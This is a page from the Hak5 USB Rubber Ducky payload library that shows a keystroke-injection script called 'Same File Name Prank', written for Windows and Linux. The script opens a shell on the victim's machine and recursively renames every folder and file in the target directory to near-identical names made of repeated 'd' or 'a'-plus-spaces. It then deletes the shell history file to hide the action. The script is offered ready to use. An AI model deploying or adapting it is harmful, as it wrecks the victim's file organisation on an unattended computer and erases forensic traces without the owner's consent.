Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/prank/Same_File_Name_Prank/payload.txt
2968 views
1
REM_BLOCK
2
#############################################
3
# #
4
# Title : Same File Name Prank #
5
# Author : Aleff #
6
# Version : 1.0 #
7
# Category : Prank #
8
# Target : Windows 10/11; GNU/Linux #
9
# #
10
#############################################
11
END_REM
12
13
REM I am very sorry not to be able to release scripts for macOS systems as well but unfortunately not having one would be too risky to test it in a VM, at least in my opinion, so if someone from the community wants to contribute they could propose a pull request with the macOS version so that we can integrate it and make this payload cross-platfom.
14
15
REM %%%%% DEFINE-SECTION %%%%%
16
REM_BLOCK
17
18
Consider that the main route for Windows generally is “C:\Users\Username\” while for GNU/Linux systems it is something like “/home/username/” but in both cases if for example you add “./Desktop/Hello/World/” you will go to the World folder in the path “C:\Users\Username\Desktop\Hello\World\” for Windows systems and “/home/username/Desktop/Hello/World/” for **GNU/Linux** systems.
19
20
Of course, you have to make sure that this folder exists....
21
22
Payload Settings:
23
#DIRECTORY_WHERE_TO_RUN_THE_COMMAND - If you feel it is appropriate to run this script within a specific folder you will just need to change this definition.
24
25
Consider the maximum length of file names on both Windows and GNU/Linux:
26
- Limit on file name length in bash [closed]
27
|-> https://stackoverflow.com/questions/6571435/limit-on-file-name-length-in-bash
28
- On Windows, what is the maximum file name length considered acceptable for an app to output? (Updated and clarified)
29
|-> https://stackoverflow.com/questions/8674796/on-windows-what-is-the-maximum-file-name-length-considered-acceptable-for-an-ap
30
31
END_REM
32
DEFINE #DIRECTORY_WHERE_TO_RUN_THE_COMMAND .
33
34
REM Set TARGET_WINDOWS to TRUE if the script will run on a Windows system.
35
REM Set TARGET_LINUX to TRUE if the script will run on a GNU/Linux system.
36
DEFINE #TARGET_WINDOWS TRUE
37
DEFINE #TARGET_GNU_LINUX FALSE
38
39
REM %%%%% PAYLOAD-SECTION %%%%%
40
41
IF (( #TARGET_WINDOWS == TRUE) && (#TARGET_GNU_LINUX == FALSE)) THEN
42
REM %%%%% WINDOWS CODE %%%%%
43
44
REM_BLOCK
45
Credits: Hak5 LLC
46
Website: https://hak5.org/
47
Source: https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/passive_windows_detect.txt
48
END_REM
49
50
EXTENSION PASSIVE_WINDOWS_DETECT
51
REM VERSION 1.1
52
REM AUTHOR: Korben
53
54
REM_BLOCK DOCUMENTATION
55
Windows fully passive OS Detection and passive Detect Ready
56
Includes its own passive detect ready.
57
Does not require additional extensions.
58
59
USAGE:
60
Extension runs inline (here)
61
Place at beginning of payload (besides ATTACKMODE) to act as dynamic
62
boot delay
63
$_OS will be set to WINDOWS or NOT_WINDOWS
64
See end of payload for usage within payload
65
END_REM
66
67
REM CONFIGURATION:
68
DEFINE #MAX_WAIT 150
69
DEFINE #CHECK_INTERVAL 20
70
DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
71
DEFINE #NOT_WINDOWS 7
72
73
$_OS = #NOT_WINDOWS
74
75
VAR $MAX_TRIES = #MAX_WAIT
76
WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
77
DELAY #CHECK_INTERVAL
78
$MAX_TRIES = ($MAX_TRIES - 1)
79
END_WHILE
80
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
81
$_OS = WINDOWS
82
END_IF
83
84
REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
85
IF ($_OS == WINDOWS) THEN
86
STRING HELLO WINDOWS!
87
ELSE
88
STRING HELLO WORLD!
89
END_IF
90
END_REM
91
END_EXTENSION
92
93
GUI r
94
DELAY 1000
95
STRINGLN PowerShell
96
DELAY 1000
97
98
STRINGLN_POWERSHELL
99
cd #DIRECTORY_WHERE_TO_RUN_THE_COMMAND
100
101
function Rename-Directories {
102
param (
103
[string]$path,
104
[ref]$counter
105
)
106
107
$folders = Get-ChildItem -Path $path -Directory -Recurse | Sort-Object FullName -Descending
108
foreach ($folder in $folders) {
109
$newFolderName = "d" * $counter.Value # Crea il nuovo nome della cartella
110
$newFolderPath = $newFolderName
111
112
$counter.Value++
113
114
Rename-Item -Path $folder.FullName -NewName $newFolderPath
115
Write-Host "Rinominata cartella: $($folder.FullName) -> $($newFolderPath)"
116
}
117
}
118
119
function Rename-Files {
120
param (
121
[string]$path,
122
[ref]$counter
123
)
124
$files = Get-ChildItem -Path $path -File -Recurse
125
foreach ($file in $files) {
126
$newFileName = "a" + " " * $counter.Value # Crea il nuovo nome del file
127
$newFilePath = "$newFileName" + $file.Extension
128
129
$counter.Value++
130
131
Rename-Item -Path $file.FullName -NewName $newFilePath
132
}
133
}
134
135
$counter = 1; Rename-Directories -path $basePath -counter ([ref]$counter); $counter = 1; Rename-Files -path $basePath -counter ([ref]$counter); Remove-Item (Get-PSReadlineOption).HistorySavePath; exit
136
END_STRINGLN
137
138
ELSE IF (( #TARGET_WINDOWS == FALSE) && (#TARGET_GNU_LINUX == TRUE)) THEN
139
REM %%%%% GNU/LINUX CODE %%%%%
140
141
REM_BLOCK
142
Credits: Hak5 LLC
143
Website: https://hak5.org/
144
Source: https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/detect_ready.txt
145
END_REM
146
147
EXTENSION DETECT_READY
148
REM VERSION 1.1
149
REM AUTHOR: Korben
150
151
REM_BLOCK DOCUMENTATION
152
USAGE:
153
Extension runs inline (here)
154
Place at beginning of payload (besides ATTACKMODE) to act as dynamic
155
boot delay
156
157
TARGETS:
158
Any system that reflects CAPSLOCK will detect minimum required delay
159
Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms
160
END_REM
161
162
REM CONFIGURATION:
163
DEFINE #RESPONSE_DELAY 25
164
DEFINE #ITERATION_LIMIT 120
165
166
VAR $C = 0
167
WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))
168
CAPSLOCK
169
DELAY #RESPONSE_DELAY
170
$C = ($C + 1)
171
END_WHILE
172
CAPSLOCK
173
END_EXTENSION
174
175
CTRL-ALT t
176
DELAY 1000
177
178
STRINGLN_BASH
179
cd #DIRECTORY_WHERE_TO_RUN_THE_COMMAND
180
181
rename_directories() {
182
local path=$1
183
local counter=$2
184
185
directories=$(find "$path" -type d | sort -r)
186
187
for dir in $directories; do
188
new_folder_name=$(printf 'd%.0s' $(seq 1 "$counter")) # Crea il nuovo nome della cartella
189
new_folder_path="$path/$new_folder_name"
190
191
counter=$((counter + 1))
192
193
mv "$dir" "$new_folder_path"
194
done
195
}
196
197
rename_files() {
198
local path=$1
199
local counter=$2
200
201
files=$(find "$path" -type f)
202
203
for file in $files; do
204
extension="${file##*.}"
205
206
new_file_name="a$(printf ' %.0s' $(seq 1 "$counter"))"
207
208
new_file_path="$(dirname "$file")/$new_file_name"
209
210
if [[ "$extension" != "$file" ]]; then
211
new_file_path="$new_file_path.$extension"
212
fi
213
214
counter=$((counter + 1))
215
216
mv "$file" "$new_file_path"
217
done
218
}
219
220
counter=1; rename_directories "$base_path" $counter; counter=1; rename_files "$base_path" $counter; rm $HISTFILE; exit
221
END_STRINGLN
222
END_IF
223